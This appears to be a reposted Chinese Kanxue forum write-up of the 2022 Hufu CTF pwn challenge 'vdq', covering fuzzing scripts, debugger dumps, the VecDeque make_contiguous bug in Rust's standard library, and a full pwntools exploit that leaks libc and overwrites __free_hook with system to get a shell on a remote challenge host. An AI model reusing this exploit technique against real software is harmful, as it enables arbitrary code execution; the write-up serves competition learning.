其他
虎符网络安全赛道 2022-pwn-vdq-WP解题分析
本文为看雪论坛优秀文章
看雪论坛作者ID:chuj-
core::result::Result<alloc::vec::Vec<vdq::Operation>,serde_json::error::Error> v29
从 ida 的 local types 中我们可以找到所有操作的枚举。
enum vdq::Operation : __int8
{
Add = 0x0,
Remove = 0x1,
Append = 0x2,
Archive = 0x3,
View = 0x4,
};
# fuzz.sh
#!/bin/bash
while ((1))
do
python ./vdq_input_gen.py > poc
cat poc | ./vdq
if [ $? -ne 0 ]; then
break
fi
done
# vdq_input_gen.py
#!/usr/bin/env python
# coding=utf-8
import random
import string
operations = "["
def Add():
global operations
operations += "\"Add\", "
def Remove():
global operations
operations += "\"Remove\", "
def Append():
global operations
operations += "\"Append\", "
def View():
global operations
operations += "\"View\", "
def Archive():
global operations
operations += "\"Archive\", "
def DoOperations():
print(operations[:-2] + "]")
print("$")
def DoAdd(message):
print(message)
def DoAppend(message):
print(message)
total_ops = random.randint(1, 100)
total_adds = 0
total_append = 0
total_remove = 0
total_message = 0
for i in range(total_ops):
op = random.randint(0, 4)
if op == 0:
total_message += 1
total_adds += 1
Add()
elif op == 1:
total_adds -= 1
Remove()
elif op == 2:
if total_adds > 0:
total_append += 1
total_message += 1
Append()
Append()
elif op == 3:
total_adds = 0
total_append = 0
total_remove = 0
Archive()
elif op == 4:
View()
DoOperations()
for i in range(total_message):
DoAdd(''.join(random.sample(string.ascii_letters + string.digits, random.randint(1, 40))))
["Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Archive"]
$
ZqlUYDS2I0WOQJvNdTX1onAmfcK6B8VFL5rytP
C
Pgl3h
0S4iHUmpK16Vfbk
LzvEUmWxMl
["Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Remove", "View"]
$
之后的字符串随便输
struct alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>>
{
usize tail;
usize head;
alloc::raw_vec::RawVec<alloc::boxed::Box<vdq::Note>,alloc::alloc::Global> buf;
};
0x555555a36f30: 0x0000555555a370f0 0x0000555555a36fd0
0x555555a36f40: 0x0000555555a37050 0x0000555555a370a0
pwndbg> x/20xg 0x7fffffffda60
0x7fffffffda60: 0x0000000000000000 0x0000000000000004
0x7fffffffda70: 0x0000555555a36f30 0x0000000000000004
// 修复前
return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };
// 修复后
return unsafe { RingSlices::ring_slices(self.buffer_as_mut_slice(), head, tail).0 };
fn ring_slices(buf: Self, head: usize, tail: usize) -> (Self, Self) {
let contiguous = tail <= head;
if contiguous {
let (empty, buf) = buf.split_at(0);
(buf.slice(tail, head), empty)
} else {
let (mid, right) = buf.split_at(tail);
let (left, _) = mid.split_at(head);
(right, left)
}
}
#[stable(feature = "deque_make_contiguous", since = "1.48.0")]
pub fn make_contiguous(&mut self) -> &mut [T] {
if self.is_contiguous() {
let tail = self.tail;
let head = self.head;
return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };
}
let buf = self.buf.ptr();
let cap = self.cap();
let len = self.len();
let free = self.tail - self.head;
let tail_len = cap - self.tail;
if free >= tail_len {
// there is enough free space to copy the tail in one go,
// this means that we first shift the head backwards, and then
// copy the tail to the correct position.
//
// from: DEFGH....ABC
// to: ABCDEFGH....
unsafe {
ptr::copy(buf, buf.add(tail_len), self.head);
// ...DEFGH.ABC
ptr::copy_nonoverlapping(buf.add(self.tail), buf, tail_len);
// ABCDEFGH....
self.tail = 0;
self.head = len;
}
} else if free >= self.head {
// there is enough free space to copy the head in one go,
// this means that we first shift the tail forwards, and then
// copy the head to the correct position.
//
// from: FGH....ABCDE
// to: ...ABCDEFGH.
unsafe {
ptr::copy(buf.add(self.tail), buf.add(self.head), tail_len);
// FGHABCDE....
ptr::copy_nonoverlapping(buf, buf.add(self.head + tail_len), self.head);
// ...ABCDEFGH.
self.tail = self.head;
self.head = self.tail + len;
}
} else {
// free is smaller than both head and tail,
// this means we have to slowly "swap" the tail and the head.
//
// from: EFGHI...ABCD or HIJK.ABCDEFG
// to: ABCDEFGHI... or ABCDEFGHIJK.
let mut left_edge: usize = 0;
let mut right_edge: usize = self.tail;
unsafe {
// The general problem looks like this
// GHIJKLM...ABCDEF - before any swaps
// ABCDEFM...GHIJKL - after 1 pass of swaps
// ABCDEFGHIJM...KL - swap until the left edge reaches the temp store
// - then restart the algorithm with a new (smaller) store
// Sometimes the temp store is reached when the right edge is at the end
// of the buffer - this means we've hit the right order with fewer swaps!
// E.g
// EF..ABCD
// ABCDEF.. - after four only swaps we've finished
while left_edge < len && right_edge != cap {
let mut right_offset = 0;
for i in left_edge..right_edge {
right_offset = (i - left_edge) % (cap - right_edge);
let src: isize = (right_edge + right_offset) as isize;
ptr::swap(buf.add(i), buf.offset(src));
}
let n_ops = right_edge - left_edge;
left_edge += n_ops;
right_edge += right_offset + 1;
}
self.tail = 0;
self.head = len;
}
}
let tail = self.tail;
let head = self.head;
unsafe { &mut self.buffer_as_mut_slice()[tail..head] }
}
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
operations = "["
def Add():
global operations
operations += "\"Add\", "
def Remove():
global operations
operations += "\"Remove\", "
def Append():
global operations
operations += "\"Append\", "
def View():
global operations
operations += "\"View\", "
def Archive():
global operations
operations += "\"Archive\", "
def DoOperations():
sh.sendlineafter("!", operations[:-2] + "]")
sh.sendline("$")
def DoAdd(message):
sh.sendlineafter("message :", message)
def DoAppend(message):
sh.sendlineafter("message :", message)
sh = process("./vdq")
libc = ELF("./libc-2.27.so")
sh = remote("120.77.10.180", 34927)
#gdb.attach(sh, """
#b * 0x555555554000 + 0xDFAF
#c
#b * 0x555555554000 + 0xDD04
#""")
Add()
Add()
Archive()
Add()
Archive()
Add()
Add()
View()
Remove()
Remove()
Remove()
View()
for i in range(0, 31):
Add()
for i in range(0, 20):
Archive()
for i in range(0, 10 + 1):
Add()
View()
Remove()
for i in range(31):
Remove()
Append()
for i in range(9):
Add()
DoOperations()
DoAdd('A' * 0x80)
DoAdd('B' * 0x80)
DoAdd('C' * 0x420)
DoAdd('D' * 0x80)
DoAdd('E' * 0x80)
sh.recvuntil("Removed note [5]\n")
sh.recvuntil("Cached notes:\n")
sh.recvuntil("->")
sh.recvuntil("-> ")
libc_base_list = list(sh.recv(12)[::-1])
for i in range(0, 6):
tmp = libc_base_list[2 * i + 1]
libc_base_list[2 * i + 1] = libc_base_list[2 * i]
libc_base_list[2 * i] = tmp
libc_base_str = ''.join(libc_base_list)
libc_base = int(libc_base_str, 16) - libc.sym["__malloc_hook"] - 0x10 - 0x60
log.success("libc_base: " + hex(libc_base))
for i in range(0, 31):
DoAdd('')
for i in range(0, 11):
DoAdd('')
__free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
DoAdd(p64(__free_hook))
for i in range(0, 7):
DoAdd('/bin/sh\x00')
DoAdd(p64(system))
sh.interactive()
看雪ID:chuj-
https://bbs.pediy.com/user-home-908408.htm
# 往期推荐
3.NtSockets - 直接与驱动通信实现sockets
5.CVE-2022-0995分析(内核越界 watch_queue_set_filter)
6.ZJCTF2021 Reverse-Triple Language
球分享
球点赞
球在看
点击“阅读原文”,了解更多!